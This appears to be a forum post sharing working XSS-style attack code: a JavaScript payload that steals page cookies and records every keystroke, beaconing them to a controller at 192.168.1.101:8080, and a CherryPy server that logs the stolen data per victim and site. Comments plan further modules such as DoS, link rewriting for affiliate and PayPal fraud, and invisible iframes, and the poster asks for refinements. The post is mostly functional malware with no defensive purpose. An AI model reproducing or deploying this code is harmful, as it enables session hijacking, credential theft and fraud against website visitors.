
- Code: Select all
// XXX change to use sopb to bootstrap an object that loads plugins
// instead of hardcoding functionality into payload:
// - keylogger
// - cookie stealer
// - DoS package
// - change current window into invisible iframe + child?
// - link rewriter (affiliate codes, paypal links...)
// - monkey patch 3rd party apps (advert systems, mibbit...)
//Primitive communication system that doesn't honor
//Same Origin Policy like XMLHttpRequest
function SOPbypass(base) {
this.head = document.getElementsByTagName('head')[0];
this.base = base;
this.send = function (loc) {
var ds = document.createElement('script');
ds.id = "SOPbypass" + String(Math.random()); //some browsers might
//cry when asked to remove
//a non-unique id
ds.src = this.base + loc;
ds.type = "text/javascript";
this.head.appendChild(ds); //perform GET. Return data is inserted into
//SOPbypass prototype :S
setTimeout(function () {
ds.parentNode.removeChild(ds);
}, 500); //delayed removal allows response script to execute
};
}
var sopb = new SOPbypass("http://192.168.1.101:8080/");
var instanceID = String(Math.random()); //unique tag per load/user
//cookie stealer
sopb.send("cookie/" + instanceID + "/" + (document.cookie || "no cookie") +
"/" + instanceID);
//handling of returned data must be delayed :S
setTimeout(function () {
var body = document.getElementsByTagName('body')[0];
body.innerHTML += "<p>" + sopb.response + "</p>";
}, 100);
//buffered javascript keylogger
//Keys are collected as user types and sent only when user pauses typing.
//Much cheaper than real-time keylogger or constantly sniffing DOM for
//forms that could appear a la AJAX.
var isTyping = false;
var keyString = "";
setInterval(function () {
if(!isTyping && keyString) {
var d = new Date();
sopb.send("keys/" + instanceID + "/" + keyString + "/" + d.getTime());
keyString = "";
}
}, 500);
setInterval(function () {
isTyping = false;
}, 1000);
document.onkeypress = function (ev) {
isTyping = true;
var ev = ev || window.event;
var key = (ev.which||ev.charCode||ev.keyCode);
keyString += key + "-";
};
//SOPbypass.js
- Code: Select all
#!/usr/bin/env python
import os
import urlparse
import cherrypy
class SOPbypassServer():
"""Custom webserver to communicate with SOPbypass.js instances"""
def getLog(self, id):
"""Return file object where incoming data is to be stored."""
ref = cherrypy.request.headers.get('Referer')
d = urlparse.urlparse(ref).netloc
d = cherrypy.config.get("logdir") + d + os.sep
if not os.path.isdir(d):
try:
os.mkdir(d)
except:
pass
try:
logfile = open(d+id, "a")
except:
logfile = open(id, "a")
return logfile #works out to about one logfile per user per website
#dbm would be better
def response(self, data):
"""Turn data into JavaScript that inserts data into sopb object"""
return 'SOPbypass.prototype.response = "' +str(data)+ '";'
@cherrypy.expose
def index(self):
"""For testing"""
payload = open("SOPbypass.js").read()
page = '<!DOCTYPE html><body><script>\n%s \
</script><input type="text"></input>\
</body></html> \
' % (payload)
return page
#throwaway is garbage to discourage browser caching
@cherrypy.expose
def cookie(self, id, cookie, throwaway=None):
"""Store the cookie"""
c = "[cookie]\n" + cookie + "\n[/cookie]\n"
self.getLog(id).write(c)
return self.response("This instance ID is: " + id)
@cherrypy.expose
def keys(self, id, keys, throwaway=None):
"""Convert and store key data"""
keydata = keys.split("-")
keystring = ""
for k in keydata:
if k:
keystring += chr(int(k))
self.getLog(id).write(keystring)
if __name__ == '__main__':
#hack to obviate need for separate config file
cfg = {}
cfg["server.socket_host"] = "192.168.1.101"
cfg["server.socket_port"] = 8080
cfg["logdir"] = "logs" + os.sep
cherrypy.config.update(cfg)
cherrypy.quickstart(SOPbypassServer(), "/")
I'm wondering if there's a simpler way or at least a way to act on data returned by the controlled server without relying on arbitrary timeouts. The javascript keylogger intervals may need tweaking too. Or maybe just a real XHR xD